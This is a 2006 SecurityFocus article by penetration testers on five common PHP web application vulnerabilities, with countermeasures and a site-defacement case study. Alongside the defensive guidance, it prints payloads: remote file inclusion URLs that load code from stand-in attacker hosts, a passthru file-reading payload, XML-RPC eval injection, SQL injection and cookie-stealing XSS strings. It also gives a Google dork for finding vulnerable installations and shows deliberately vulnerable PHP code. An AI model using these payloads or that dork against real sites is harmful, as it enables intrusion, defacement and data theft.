

Five common Web application vulnerabilities

Sumit Siddharth, Pratiksha Doshi 2006-04-28

1. Introduction

"No language can prevent insecure code, although there are language features which could aid or hinder a security-conscious developer."

-Chris Shiflett

This article looks at five common Web application attacks, primarily for PHP applications, and then presents a case study of a vulnerable Website that was found through Google and easily exploited. Each of the attacks we'll cover are part of a wide field of study, and readers are advised to follow the references listed in each section for further reading. It is important for Web developers and administrators to have a thorough knowledge of these attacks. It should also be noted that that Web applications can be subjected to many more attacks than just those listed here.

While most of the illustrated examples in this article will discuss PHP coding due to its overwhelming popularity on the Web, the concepts also apply to any programming language. The attacks explained in this article are:

1. Remote code execution
2. SQL injection
3. Format string vulnerabilities
4. Cross Site Scripting (XSS)
5. Username enumeration

Considering the somewhat poor programming approach which leads to these attacks, the article provides some real examples of popular products that have had these same vulnerabilities in the past. Some countermeasures are offered with each example to help prevent future vulnerabilities and subsequent attacks.

This article integrates some of the critical points found in a number of whitepapers and articles on common Web application vulnerabilities. The goal is to provide an overview of these problems within one short article.

2. Vulnerabilities

2.1 Remote code execution

As the name suggests, this vulnerability allows an attacker to run arbitrary, system level code on the vulnerable server and retrieve any desired information contained therein. Improper coding errors lead to this vulnerability.

At times, it is difficult to discover this vulnerability during penetration testing assignments but such problems are often revealed while doing a source code review. However, when testing Web applications it is important to remember that exploitation of this vulnerability can lead to total system compromise with the same rights as the Web server itself.

Rating:  **Highly Critical**

Previously vulnerable products:

phpbb, Invision Board, Cpanel, Paypal cart, Drupal, and many others

Here we will look at two such types of critical vulnerabilities:

1. **Exploiting register_globals in PHP:** Register_globals is a PHP setting that controls the availability of "superglobal" variables in a PHP script (such as data posted from a user's form, URL-encoded data, or data from cookies). In earlier releases of PHP, register_globals was set to "on" by default, which made a developer's life easier - but this led to less secure coding and was widely exploited. When register_globals is set to "on" in php.ini, it can allow a user to initialize several previously uninitialized variables remotely. Many a times an uninitialized parameter is used to include unwanted files from an attacker, and this could lead to the execution of arbitrary files from local/remote locations. For example:

```
require ($page . ".php");
```

Here if the \$page parameter is not initialized and if register_globals is set to "on," the server will be vulnerable to remote code execution by including any arbitrary file in the \$page parameter. Now let's look at the exploit code:

```
http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt
```

In this way, the file "http://www.attacker.com/attack.txt" will be included and executed on the server. It is a very simple but effective attack.

2. **XMLRPC for PHP vulnerabilities:** Another common vulnerability seen under this category of includes vulnerabilities with XML-RPC applications in PHP.

XML-RPC is a [specification](#) and a set of implementations that allow software running on disparate operating systems and in different environments to make procedure calls over the Internet. It is commonly used in large enterprises and Web environments. XML-RPC uses HTTP for its transport protocol and XML for data encoding. Several independent implementations of XML-RPC exist for PHP applications.

A common flaw is in the way that several XML-RPC PHP implementations pass unsanitized user input to the eval() function within the XML-RPC server. It results in a vulnerability that could allow a remote attacker to execute code on a vulnerable system. An attacker with the ability to upload a crafted XML file could insert PHP code that would then be executed by the Web application that is using the vulnerable XML-RPC code.

Here is a sample malicious XML file:

```

<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
  <params>
    <param>
      <value><name>', ')); phpinfo(); exit;/*</name></value>
    </param>
  </params>
</methodCall>

```

The above XML file, when posted to the vulnerable server, will cause the `phpinfo()` function call to be executed on the vulnerable server, in this case a simple example that reveals various details about the PHP installation.

Here is a list of software which have previously possessed this style of bug:
Drupal, Wordpress, Xoops, PostNuke, phpMyFaq, and many others

Countermeasures:

1. More recent PHP versions have `register_globals` set to off by default, however some users will change the default setting for applications that require it. This register can be set to "on" or "off" either in a `php.ini` file or in a `.htaccess` file. The variable should be properly initialized if this register is set to "on." Administrators who are unsure should question application developers who insist on using `register_globals`.
2. It is an absolute must to sanitize all user input before processing it. As far as possible, avoid using shell commands. However, if they are required, ensure that only filtered data is used to construct the string to be executed and make sure to escape the output.

References:

1. [Using register_globals on php.net](#)
2. [Changes to register_globals in prior versions of PHP](#)
3. [Another PHP XMLRPC remote code execution example](#)
4. [CERT advisory on PHP XML-RPC vulnerabilities](#)
5. [File inclusion vulnerability in PayPal Store Front](#)
6. [Essential PHP Security](#), published by O'Reilly

2.2 SQL Injection

SQL injection is a very old approach but it's still popular among attackers. This technique allows an attacker to retrieve crucial information from a Web server's database. Depending on the application's security measures, the impact of this attack can vary from basic information disclosure to remote code execution and total system compromise.

Rating:  **Moderate to Highly Critical**

Previously vulnerable products:

PHPNuke, MyBB, Mambo CMS, ZenCart, osCommerce

Covering SQL injection attacks in exhaustive detail is beyond the scope of this article, but below are a few good links in the references section which will help you to better understand this technique. This attack applies to any database, but from an attacker's perspective there are a few "favorites."

MS SQL has the feature of an extended stored procedure call, which allows any system level command to be executed via the MS SQL server – such as adding a user. Also, the error messages displayed by the MS SQL server reveals more information than a comparable MySQL server. While MS SQL server is not especially prone to a SQL injection attacks, there are security measures which should be implemented to make it secure and not allow the SQL server to give out critical system information.

Here is an example of vulnerable code in which the user-supplied input is directly used in a SQL query:

```
<form action="sql.php" method="POST" />
<p>Name: <input type="text" name="name" /><br />
<input type="submit" value="Add Comment" /></p>
</form>
<?php
$query = "SELECT * FROM users WHERE username = '{$_POST['username']}'";
$result = mysql_query($query);
?>
```

The script will work normally when the username doesn't contain any malicious characters. In other words, when submitting a non-malicious username (steve) the query becomes:

```
$query = "SELECT * FROM users WHERE username = 'steve'";
```

However, a malicious SQL injection query will result in the following attempt:

```
$query = "SELECT * FROM users WHERE username = '' or '1=1'";
```

As the "or" condition is always true, the mysql_query function returns records from the database. A similar example, using AND and a SQL command to generate a specific error message, is shown in the URL below in Figure 1.



Figure 1. Error message displaying the MS SQL server version.

It is obvious that these error messages help an attacker to get a hold of the information which they are looking for (such as the database name, table name, usernames, password hashes etc). Thus displaying customized error messages may be a good workaround for this problem, however, there is another attack technique known as Blind SQL Injection where the attacker is still able to perform a SQL injection even when the application does not reveal any database server error message containing useful information for the attacker.

Countermeasures:

1. Avoid connecting to the database as a superuser or as the database owner. Always use customized database users with the bare minimum required privileges required to perform the assigned task.
2. If the PHP magic_quotes_gpc function is on, then all the POST, GET, COOKIE data is escaped automatically.
3. PHP has two functions for MySQL that sanitize user input: addslashes (an older approach) and mysql_real_escape_string (the recommended method). This function comes from PHP >= 4.3.0, so you should check first if this function exists and that you're running the latest version of PHP 4 or 5. MySQL_real_escape_string prepends backslashes to the following characters: \x00, \n, \r, \, ', "and \x1a.

References for standard SQL Injection:

1. [Steve's SQL Injection attack examples](#)
2. [SQL Injection Whitepaper \(PDF\)](#)
3. [Advanced SQL Injection paper](#)

Blind SQL Injection:

1. [SPI Dynamics blind SQL Injection paper \(PDF\)](#)
2. [imperva blind SQL Injection article](#)

2.3 Format String Vulnerabilities

This vulnerability results from the use of unfiltered user input as the format string parameter in certain Perl or C functions that perform formatting, such as C's printf().

A malicious user may use the %s and %x format tokens, among others, to print data from the stack or possibly other locations in memory. One may also write arbitrary data to arbitrary locations using the %n format token, which commands printf() and similar functions to write back

the number of bytes formatted. This is assuming that the corresponding argument exists and is of type `int *`.

Format string vulnerability attacks fall into three general categories: denial of service, reading and writing.

Rating:  **Moderate to Highly Critical**

Previously vulnerable products:

McAfee AV, Usermin, Webmin, various Apache modules, winRar, ettercap, and others.

- Denial-of-service attacks that use format string vulnerabilities are characterized by utilizing multiple instances of the `%s` format specifier, used to read data off of the stack until the program attempts to read data from an illegal address, which will cause the program to crash.
- Reading attacks use the `%x` format specifier to print sections of memory that the user does not normally have access to.
- Writing attacks use the `%d`, `%u` or `%x` format specifiers to overwrite the instruction pointer and force execution of user-supplied shell code.

Here is the piece of code in `miniserv.pl` which was the cause of a vulnerability in Webmin:

```
if ($use_syslog && !$validated)
{
    syslog("crit",
        ($nonexist ? "Non-existent" :
        $expired ? "Expired" : "Invalid").
        " login as $authuser from $acpthost");
}
```

In this example, the user supplied data is within the format specification of the `syslog` call.

The vectors for a simple DoS (Denial of Service) of the Web server are to use the `%n` and `%0` (large number)d inside of the username parameter, with the former causing a write protection fault within Perl – and leading to script abortion. The latter causes a large amount of memory to be allocated inside of the perl process.

A detailed [Webmin advisory](#) that was used for this example is available and provides more information.

Countermeasure:

Edit the source code so that the input is properly verified.

References:

1. [tiny FAQ](#)

2. Wiki definition

2.4 Cross Site Scripting

The success of this attack requires the victim to execute a malicious URL which may be crafted in such a manner to appear to be legitimate at first look. When visiting such a crafted URL, an attacker can effectively execute something malicious in the victim's browser. Some malicious Javascript, for example, will be run in the context of the web site which possesses the XSS bug.

Rating:  **Less to Moderately Critical**

Previously vulnerable products:

Microsoft IIS web server, Yahoo Mail, Squirrel Mail, Google search.

Cross Site Scripting is generally made possible where the user's input is displayed. The following are the popular targets:

1. On a search engine that returns 'n' matches found for your '\$_search' keyword.
2. Within discussion forums that allow script tags, which can lead to a permanent XSS bug.
3. On login pages that return an error message for an incorrect login along with the login entered.

Additionally, allowing an attacker to execute arbitrary Javascript on the victim's browser can also allow an attacker to steal victim's cookie and then hijack his session.

Here is a sample piece of code which is vulnerable to XSS attack:

```
<form action="search.php" method="GET" />
Welcome!!
<p>Enter your name: <input type="text" name="name_1" /><br />
<input type="submit" value="Go" /></p><br>
</form>

<?php
echo "<p>Your Name <br />";
echo ($_GET[name_1]);

?>
```

In this example, the value passed to the variable 'name_1' is not sanitized before echoing it back to the user. This can be exploited to execute any arbitrary script.

Here is some example exploit code:

```
http://victim_site/clean.php?name_1=<script>code</script>
```

```
or
http://victim_site/clean.php?name_1=<script>alert(document.cookie);</script>
```

Countermeasures

The above code can be edited in the following manner to avoid XSS attacks:

```
<?php
$html= htmlentities($_GET['name_1'],ENT_QUOTES, 'UTF-8');
echo "<p>Your Name<br />";
echo ($html);
?>
```

References:

1. [htmlspecialchars on php.net](#)
2. [SPL Dynamics XSS article](#)
3. [Essential PHP Security](#) published by O'Reilly

2.5 Username enumeration

Username enumeration is a type of attack where the backend validation script tells the attacker if the supplied username is correct or not. Exploiting this vulnerability helps the attacker to experiment with different usernames and determine valid ones with the help of these different error messages.

Rating:  Less Critical

Previously vulnerable products:

Nortel Contivity VPN client, Juniper Netscreen VPN, Cisco IOS [telnet].

Figure 2 shows an example login screen:



The screenshot shows a login interface with the following elements:

- An error message at the top: "The Login ID which you have entered does not exist in our records".
- A heading: "Fields marked with * are compulsory."
- A "Login ID *" field containing the text "abcdefg".
- A "Password *" field which is empty.
- A green "Login" button.
- A blue link for "Forgot password?".

Figure 2. Sample login screen.

Figure 3 shows the response given when a valid username is guessed correctly:

The screenshot shows a login form with the following elements:

- A message at the top: "Incorrect Login / Password Combination".
- A warning: "Fields marked with * are compulsory." in red text.
- A "Login ID *" field containing the text "test".
- A "Password *" field which is empty.
- A green "Login" button.
- A blue link for "Forgot password?".

Figure 3. Valid username with incorrect password.

Username enumeration can help an attacker who attempts to use some trivial usernames with easily guessable passwords, such as test/test, admin/admin, guest/guest, and so on. These accounts are often created by developers for testing purposes, and many times the accounts are never disabled or the developer forgets to change the password.

During pen testing assignments, the authors of this article have found such accounts are not only common and have easily guessable passwords, but at times they also contain sensitive information like valid credit card numbers, passport numbers, and so on. Needless to say, these could be crucial details for social engineering attacks.

Countermeasures:

Display consistent error messages to prevent disclosure of valid usernames. Make sure if trivial accounts have been created for testing purposes that their passwords are either not trivial or these accounts are absolutely removed after testing is over - and before the application is put online.

3. Case study: notice Google's power

Most incidents such as Web site defacement or other basic hacking activity are done by people (often referred to as 'script kiddies') to gain recognition among their peers - and not really to gain any valuable information like credit cards. In this part of the article, we will look at one real-life example the authors have faced in their role as penetration testers.

One day we received a call from software company XYZ in Asia-Pacific. Their Website has been defaced. The main Website displayed a message saying that the site had been hacked by somebody in Holland. But the questions buzzing in everyone's mind were:

1. Why would somebody in Holland be interested in this Website? What could the attacker gain by hacking into it? There was no critical information on the server which would benefit an attacker, certainly no credit card information. After a detailed analysis it was concluded the attack was probably done for more fun and not really for profit.

2. Most importantly, how did the hacker break in?

The site which was defaced had been running a vulnerable version of a popular e-commerce software package. The vulnerability in this software allowed an attacker to include a remote file, thereby allowing the execution of any arbitrary code within the context of the Web server's privileges. Here is the snippet of code which caused this vulnerability:

```
<?
  if (!defined($include_file . '__')) {
    define($include_file . '__', 1);
    include($include_file);
  }
?>
```

Exploiting this vulnerability is very trivial. All the attacker did to exploit this was to include, in the URL, a remote file having the malicious code which he wanted to execute:

```
http://vulnerable_server/includes/include_once.php?
include_file=https://attackersite.com/exploit.txt (note: all on one line)
```

The attacker could then run any arbitrary code on the vulnerable server through this exploit.txt file, for example:

```
<? passthru("/bin/cat application.php")?>
```

The above code will print the source code of application.php file.

The question which needs considered here is, how did the attacker first reach this site? And how did he know that the victim is using a vulnerable version of this software? Well, a Google search for "inurl:/includes/include_once.php" lists all the web sites using this vulnerable product, and it's a cakewalk from there. Once found, the attacker's job was then simply to run the same exploit on any or all of the Websites that Google returned, and soon they would all be compromised.

Thus we see here that the attacker can easily reach a Website that uses vulnerable software through "Google dorks." In most of these cases, exploit code is readily available to the public through mailing lists, vulnerability reporting websites, and elsewhere. Therefore it becomes very trivial for the attacker to exploit known vulnerabilities in any Web application. It is not only the vendor's responsibility to release a patch as soon as the vulnerability is discovered, but also Website operators deploying software need to keep themselves updated with the security issues discovered in all the software packages they have deployed. Even if the application is not in use, if the files still exist on the server the server may still be vulnerable.

4. Defense-in-depth

This article has rightly focused on the source of Web vulnerabilities – the applications themselves. The application code is always the first place to secure a Web application. But there are also additional, defense-in-depth methods that can add additional layers of protection.

Once the Web server is hardened and the application is quality tested to be secure, additional layers will still help improve one's security posture. One approach using open-source software would be to use the [mod_security](#) Apache module with a [modified Snort ruleset](#) on the Web server itself, [CHROOT Apache](#), provide [file integrity monitoring](#) of the Web server files using AIDE, and then [add Snort](#) as either a HIDS or NIDS. With regularly updated rulesets and an administrator who actively reads his logs, this provides an effective additional layer of defense. Of course, commercial alternatives to each of these technologies is also available. However, step number one is to first make the Web application secure.

5. Conclusion

In this article we've demonstrated five common web application vulnerabilities, their countermeasures and their criticality. If there is a consistent message among each of these attacks, the key to mitigate these vulnerabilities is to sanitize user's input before processing it. Through the case study we tried to connect standard Google hacking with these vulnerabilities and show how the attackers use the approaches together to reach to sites with vulnerable products and then hack and deface them.

About the Authors

[Sumit Siddharth](#), GCIA, and [Pratiksha Doshi](#) are both penetration testers at [NII Consulting](#), which specializes in pen-tests, security audits, compliance and forensics.

[Privacy Statement](#)

Copyright 2006, SecurityFocus